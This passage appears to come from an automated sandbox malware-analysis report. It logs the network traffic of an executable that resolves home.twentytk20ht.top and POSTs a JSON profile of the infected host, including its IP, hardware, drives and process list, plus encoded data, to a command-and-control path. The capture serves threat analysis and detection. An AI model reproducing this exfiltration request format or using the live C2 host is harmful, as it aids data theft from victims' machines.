                                                        Dec 20, 2024 16:13:41.168258905 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.172487020 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.172590971 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.206753969 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.208336115 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.292742014 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.292804956 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.292809010 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.292818069 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.292936087 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.292975903 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.292990923 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.292999983 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293009043 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293035030 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.293061018 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.293103933 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293113947 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293123007 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293132067 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293152094 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293245077 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.293325901 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293375969 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.293396950 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293406963 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293446064 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.293473959 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293638945 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293921947 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293934107 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293941975 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.293951035 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294392109 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294400930 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294411898 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294419050 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294428110 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294573069 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294583082 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294589996 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294599056 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294780016 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.294847965 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294857025 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.294904947 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.328166962 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.328238964 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.412553072 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.412616014 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.418701887 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.419329882 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.421580076 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.421650887 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.447911978 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.448014975 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.455035925 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.455456972 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.458450079 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.459075928 CET4980880192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:41.532387972 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.532413960 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.539552927 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.539736032 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.539746046 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.539882898 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.544361115 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.544610977 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.544620037 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.544627905 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.544852018 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.544861078 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545056105 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545067072 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545332909 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545344114 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545433998 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545444012 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545447111 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545455933 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545550108 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545559883 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.545675039 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546294928 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546304941 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546468973 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546478987 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546488047 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546497107 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546505928 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546516895 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546526909 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546535969 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546544075 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546554089 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546564102 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546572924 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546581984 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546591997 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546602011 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546611071 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546643019 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546650887 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546653986 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546664000 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546673059 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546683073 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546690941 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546700954 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546885014 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546894073 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546901941 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.546911001 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.547043085 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.547116041 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.547182083 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.547192097 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.547262907 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.547271967 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.547281027 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.578080893 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:41.578586102 CET8049808185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:42.910793066 CET4981480192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:43.031019926 CET8049814185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:43.031140089 CET4981480192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:43.031569958 CET4981480192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:43.152010918 CET8049814185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:44.310794115 CET8049814185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:44.312530994 CET8049814185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:44.312602997 CET4981480192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:44.315380096 CET4981480192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:44.435071945 CET8049814185.121.15.192192.168.2.5

                                                        UDP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Dec 20, 2024 16:13:03.572026014 CET5263153192.168.2.51.1.1.1
                                                        Dec 20, 2024 16:13:03.572096109 CET5263153192.168.2.51.1.1.1
                                                        Dec 20, 2024 16:13:03.810034037 CET53526311.1.1.1192.168.2.5
                                                        Dec 20, 2024 16:13:04.112868071 CET53526311.1.1.1192.168.2.5
                                                        Dec 20, 2024 16:13:06.906675100 CET5263453192.168.2.51.1.1.1
                                                        Dec 20, 2024 16:13:06.906749964 CET5263453192.168.2.51.1.1.1
                                                        Dec 20, 2024 16:13:07.046106100 CET53526341.1.1.1192.168.2.5
                                                        Dec 20, 2024 16:13:07.312297106 CET53526341.1.1.1192.168.2.5
                                                        Dec 20, 2024 16:13:39.919178009 CET6391253192.168.2.51.1.1.1
                                                        Dec 20, 2024 16:13:39.919235945 CET6391253192.168.2.51.1.1.1
                                                        Dec 20, 2024 16:13:40.056778908 CET53639121.1.1.1192.168.2.5
                                                        Dec 20, 2024 16:13:40.056802988 CET53639121.1.1.1192.168.2.5
                                                        Dec 20, 2024 16:13:42.060971975 CET6205453192.168.2.51.1.1.1
                                                        Dec 20, 2024 16:13:42.061033964 CET6205453192.168.2.51.1.1.1
                                                        Dec 20, 2024 16:13:42.909445047 CET53620541.1.1.1192.168.2.5
                                                        Dec 20, 2024 16:13:43.907850027 CET53620541.1.1.1192.168.2.5

                                                        ICMP Packets

                                                        TimestampSource IPDest IPChecksumCodeType
                                                        Dec 20, 2024 16:13:43.908027887 CET192.168.2.51.1.1.1c233(Port unreachable)Destination Unreachable

                                                        DNS Queries

                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                        Dec 20, 2024 16:13:03.572026014 CET192.168.2.51.1.1.10xf7ccStandard query (0)httpbin.orgA (IP address)IN (0x0001)false
                                                        Dec 20, 2024 16:13:03.572096109 CET192.168.2.51.1.1.10x901aStandard query (0)httpbin.org28IN (0x0001)false
                                                        Dec 20, 2024 16:13:06.906675100 CET192.168.2.51.1.1.10x1baStandard query (0)home.twentytk20ht.topA (IP address)IN (0x0001)false
                                                        Dec 20, 2024 16:13:06.906749964 CET192.168.2.51.1.1.10x80a7Standard query (0)home.twentytk20ht.top28IN (0x0001)false
                                                        Dec 20, 2024 16:13:39.919178009 CET192.168.2.51.1.1.10xab5bStandard query (0)home.twentytk20ht.topA (IP address)IN (0x0001)false
                                                        Dec 20, 2024 16:13:39.919235945 CET192.168.2.51.1.1.10xdd56Standard query (0)home.twentytk20ht.top28IN (0x0001)false
                                                        Dec 20, 2024 16:13:42.060971975 CET192.168.2.51.1.1.10x9d1bStandard query (0)home.twentytk20ht.topA (IP address)IN (0x0001)false
                                                        Dec 20, 2024 16:13:42.061033964 CET192.168.2.51.1.1.10xc6f0Standard query (0)home.twentytk20ht.top28IN (0x0001)false

                                                        DNS Answers

                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                        Dec 20, 2024 16:13:04.112868071 CET1.1.1.1192.168.2.50xf7ccNo error (0)httpbin.org98.85.100.80A (IP address)IN (0x0001)false
                                                        Dec 20, 2024 16:13:04.112868071 CET1.1.1.1192.168.2.50xf7ccNo error (0)httpbin.org34.226.108.155A (IP address)IN (0x0001)false
                                                        Dec 20, 2024 16:13:07.046106100 CET1.1.1.1192.168.2.50x1baNo error (0)home.twentytk20ht.top185.121.15.192A (IP address)IN (0x0001)false
                                                        Dec 20, 2024 16:13:40.056802988 CET1.1.1.1192.168.2.50xab5bNo error (0)home.twentytk20ht.top185.121.15.192A (IP address)IN (0x0001)false
                                                        Dec 20, 2024 16:13:42.909445047 CET1.1.1.1192.168.2.50x9d1bNo error (0)home.twentytk20ht.top185.121.15.192A (IP address)IN (0x0001)false

                                                        HTTP Request Dependency Graph

                                                        • httpbin.org
                                                        • home.twentytk20ht.top

                                                        HTTP Packets

                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        0192.168.2.549720185.121.15.192801892C:\Users\user\Desktop\u57m8aCdwb.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 20, 2024 16:13:07.465867996 CET12360OUTPOST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1
                                                        Host: home.twentytk20ht.top
                                                        Accept: */*
                                                        Content-Type: application/json
                                                        Content-Length: 559528
                                                        Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 30 37 35 38 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED]
                                                        Data Ascii: { "ip": "8.46.123.189", "current_time": "1734707585", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
                                                        Dec 20, 2024 16:13:07.586323977 CET7416OUTData Raw: 2b 4c 6e 78 33 38 47 36 78 6f 4e 6d 62 36 2b 76 76 68 68 59 66 44 5c 2f 34 36 5c 2f 45 50 34 63 2b 47 44 64 7a 33 74 7a 66 36 6c 71 6e 68 71 36 30 54 77 31 70 55 54 2b 49 62 32 37 75 4c 75 31 31 56 35 49 64 61 6b 5c 2f 77 42 4b 74 4c 36 38 5c 2f
                                                        Data Ascii: +Lnx38G6xoNmb6+vvhhYfD\/46\/EP4c+GDdz3tzf6lqnhq60Tw1pUT+Ib27uLu11V5Idak\/wBKtL68\/NSv6h8KPFzhPxe4f\/tvhuvOjicNKFHOMkxkqcczyfFTi5QhiKcJSjVw2IUZywWOo3w+KjCpFOniaGJw9D+PvGXwQ418DeJ3w\/xXh6dfCYyE8RkXEOBjVllGe4SnJRnUwtWpGMqOLwznCGPy6uo4nBznSm1VwuIw
                                                        Dec 20, 2024 16:13:07.586389065 CET4944OUTData Raw: 52 79 64 76 78 71 53 6b 59 46 76 7a 7a 58 2b 39 42 5c 2f 7a 55 6b 46 46 53 37 42 37 5c 2f 41 4f 66 77 6f 32 44 33 5c 2f 77 41 5c 2f 68 51 42 78 50 6a 6a 78 63 76 67 7a 53 49 64 55 61 77 62 55 54 50 66 77 32 43 57 34 75 52 61 41 4e 4c 42 63 33 42
                                                        Data Ascii: RydvxqSkYFvzzX+9B\/zUkFFS7B7\/AOfwo2D3\/wA\/hQBxPjjxcvgzSIdUawbUTPfw2CW4uRaANLBc3BkaYwXOFVLVhtETFmZRlRkj7x\/Yk\/4LSf8ADHHwp8QfDH\/hmz\/hY39u\/ELVfHf9t\/8AC4v+EQ+y\/wBp+HPCfh\/+yv7N\/wCFV+KPP8j\/AIRf7X9u+3w+b9u+z\/Y4\/s3nXH5ufHRQPCWnEZ\/5GO0\/9
                                                        Dec 20, 2024 16:13:07.586441994 CET2472OUTData Raw: 5c 2f 48 5c 2f 67 46 50 61 50 37 77 5c 2f 7a 2b 4e 4d 71 78 55 57 77 2b 33 2b 66 77 71 7a 73 49 4a 4f 33 34 5c 2f 30 71 44 75 5c 2f 30 48 38 71 74 4d 75 65 44 77 52 55 4c 4c 6a 67 38 67 30 41 4d 66 37 70 5c 2f 44 2b 59 70 6a 39 66 77 5c 2f 71 61
                                                        Data Ascii: \/H\/gFPaP7w\/z+NMqxUWw+3+fwqzsIJO34\/0qDu\/0H8qtMueDwRULLjg8g0AMf7p\/D+Ypj9fw\/qalprLux2xQaU+vyIah5+57\/wCfw7\/rU1M2\/Pv9sf5\/nQaEVV6sUUHQV6Y\/T8f6Gn0jAt+eaDoIP4tvf9OuKi2H2\/z+FSv\/AKw\/7o\/pRQBXqPy\/f9P\/AK9WX6fj\/Q1FQdVLp\/h\/yKr\/AHT+H8xUL
                                                        Dec 20, 2024 16:13:07.586486101 CET7416OUTData Raw: 32 53 52 76 5c 2f 43 5c 2f 2b 6a 2b 56 2b 39 5c 2f 63 54 66 6e 5c 2f 79 5c 2f 48 2b 6e 62 74 4e 4a 4a 38 75 50 75 4a 35 75 50 2b 6d 5c 2f 62 5c 2f 52 65 33 48 2b 63 55 79 52 76 37 36 62 5c 2f 41 50 6c 74 2b 37 5c 2f 35 59 5c 2f 38 41 36 36 6e 32
                                                        Data Ascii: 2SRv\/C\/+j+V+9\/cTfn\/y\/H+nbtNJJ8uPuJ5uP+m\/b\/Re3H+cUyRv76b\/APlt+7\/5Y\/8A66n2vnL+vmdBC33X3\/In\/XL9\/wD5+p\/WmeZ9zp\/396\/5\/kan2v8Acc\/P5v733471V2vIoT93tk\/5Z+V5B5\/Xnn25qgHyfu2TPmI9vmWKOWXHQd+tHlu0f3N+IvNij839\/wDZx7cD\/wCv+gdse9H\/AOeX
                                                        Dec 20, 2024 16:13:07.586607933 CET2472OUTData Raw: 2f 77 44 58 71 4f 72 46 4e 66 37 70 5c 2f 44 2b 59 6f 4f 69 6e 55 33 30 5c 2f 72 75 76 36 37 61 6b 4e 51 34 50 39 33 5c 2f 30 4c 5c 2f 47 70 71 4b 6a 6b 58 6e 5c 2f 58 79 4f 67 72 30 7a 75 6e 30 50 38 71 66 52 53 39 6e 35 5c 2f 68 5c 2f 77 51 49
                                                        Data Ascii: /wDXqOrFNf7p\/D+YoOinU30\/ruv67akNQ4P93\/0L\/GpqKjkXn\/XyOgr0zun0P8qfRS9n5\/h\/wQIn6\/h\/U0ypJO341HWht7Xzl\/XzKsvf\/e\/xpvl\/M\/Xr+H+R\/nFXKr0HUROm3+XNMqxVegKX2fn+pH5fv+n\/ANeo6sVHJ2\/Gg6Cq0f4j8qbVimP0\/H+hoNKfX5fqVvL9\/wBP\/r1HViig0KUi\/wAfp\
                                                        Dec 20, 2024 16:13:07.706224918 CET2472OUTData Raw: 36 5c 2f 63 6a 5c 2f 41 4e 56 35 66 70 30 5c 2f 5c 2f 58 5c 2f 6a 51 61 65 30 38 76 78 5c 2f 34 41 4e 73 2b 52 33 68 33 70 5c 2f 30 30 50 54 5c 2f 41 4b 65 76 58 76 56 62 37 76 33 48 2b 66 38 41 35 36 66 38 38 66 38 41 36 5c 2f 38 41 6e 6e 76 5a
                                                        Data Ascii: 6\/cj\/ANV5fp0\/\/X\/jQae08vx\/4ANs+R3h3p\/00PT\/AKevXvVb7v3H+f8A56f88f8A6\/8AnnvZ+7H8iY4x+\/5\/0f8Az26\/jTSpVXfyekf8zWntPL8f+AaB\/tt8\/mfuv3f\/AC19P8agj\/6af8s\/s\/7uMHp\/z9D\/ADz1qaSPcqPvk+vmDjn7J7fYvxHSoY18v5ETyf3tx5Uf+v8A+XX9eenFZgH9\/wD65
                                                        Dec 20, 2024 16:13:07.706267118 CET4944OUTData Raw: 63 4d 46 6d 4f 49 6f 77 71 30 63 75 78 39 57 68 36 48 4a 59 7a 4b 50 6c 54 65 6e 30 2b 75 65 70 48 62 36 31 43 59 6e 55 34 5a 53 76 31 46 54 32 65 6f 32 74 31 47 4a 74 50 75 72 61 36 68 4f 4d 53 32 73 38 56 78 47 66 54 45 6b 54 4d 70 79 50 66 70
                                                        Data Ascii: cMFmOIowq0cux9Wh6HJYzKPlTen0+uepHb61CYnU4ZSv1FT2eo2t1GJtPura6hOMS2s8VxGfTEkTMpyPfp7Vofaiy7Jk87+v49v84r7eMYSSlGXNGSunFxcWu6aVmvmfnUpVoScJpxlF2kpc0Zr1i0rPyaMSit3VdNGn\/BPxV+0AZNCPgPwT8TNR+GPiizh1yQ+M9IvdK0rwXqF\/4sufDsmlpbP4GtL\/AOIvgXwzea3a6zcX
                                                        Dec 20, 2024 16:13:07.706336021 CET2472OUTData Raw: 2f 67 74 7a 2b 30 5a 32 2b 46 58 77 4e 48 31 30 33 34 68 48 2b 58 78 42 57 6f 7a 5c 2f 77 41 46 75 50 32 6b 75 33 77 74 2b 42 49 2b 75 6b 5c 2f 45 51 5c 2f 79 2b 49 79 31 2b 4f 58 68 69 78 31 58 78 6c 70 5c 2f 77 5c 2f 77 42 53 38 4f 48 77 37 64
                                                        Data Ascii: /gtz+0Z2+FXwNH1034hH+XxBWoz\/wAFuP2ku3wt+BI+uk\/EQ\/y+Iy1+OXhix1Xxlp\/w\/wBS8OHw7dQ\/EX4l\/EH4ZaXFf+JItDOh3fwq+HXhD4r\/ABD8Z+MtV1mxsvCvhX4c+EfAXjG08Ra94t1PxGkOkadpWt3mp2lnZWcNzdR+IZvBmmeEn+IXhD4w\/CP4y+A7DxNbeEPE\/ib4V33xNiHgnXtX02\/1bwvD4q0D4
                                                        Dec 20, 2024 16:13:07.706350088 CET2472OUTData Raw: 61 30 78 66 6a 31 39 4e 6a 41 51 72 7a 78 58 44 32 52 55 5c 2f 71 39 54 4d 4b 4e 57 6d 73 6f 34 66 71 34 68 56 38 6f 77 66 39 6f 5a 74 68 6f 59 57 6a 6e 46 54 45 31 63 56 6c 65 43 5c 2f 77 42 70 7a 4c 43 30 71 55 38 52 67 61 54 69 38 56 54 70 4f
                                                        Data Ascii: a0xfj19NjAQrzxXD2RU\/q9TMKNWmso4fq4hV8owf9oZthoYWjnFTE1cVleC\/wBpzLC0qU8RgaTi8VTpOUU\/TvjH4\/HxX+LfxO+KK6WdDHxH+IHi\/wAdnRTdjUP7Hfxdr9\/r76UNQFvZ\/b10579rNL77HZm8WEXJs7Uym3j83rqfEHgnX\/DXw5+InxVvNV8B6p4R+E\/7Q0v7MXxDHhvxTf6prPhX4pab4Q8HeJPE1rq
                                                        Dec 20, 2024 16:13:07.706423044 CET2472OUTData Raw: 6c 70 48 5c 2f 77 41 38 50 7a 5c 2f 6e 6e 76 6a 47 61 72 79 6f 38 66 79 62 4a 4d 65 56 2b 66 38 41 6e 36 66 70 56 6a 64 35 6d 78 45 35 5c 2f 64 66 6e 37 5c 2f 35 37 66 68 54 50 6e 57 4f 5a 39 6c 78 75 5c 2f 77 43 75 76 2b 75 35 5c 2f 77 41 5c 2f
                                                        Data Ascii: lpH\/wA8Pz\/nnvjGaryo8fybJMeV+f8An6fpVjd5mxE5\/dfn7\/57fhTPnWOZ9lxu\/wCuv+u5\/wA\/nQdBTCPx8\/2ZP8\/6V9fpippVeSR9iZeOXyvM\/wCe1v8A569P50fOI02bP9V5v\/TeH9OvNMk\/vyJGiZ\/5afkfb6Z\/D26DSn1+X6jH2fOhTfiX91H\/AOlf+fXj2qt8+f8AY\/66+\/X\/AD9cdqsyedt8mb


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        1192.168.2.549808185.121.15.192801892C:\Users\user\Desktop\u57m8aCdwb.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 20, 2024 16:13:40.179096937 CET12360OUTPOST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1
                                                        Host: home.twentytk20ht.top
                                                        Accept: */*
                                                        Content-Type: application/json
                                                        Content-Length: 559528
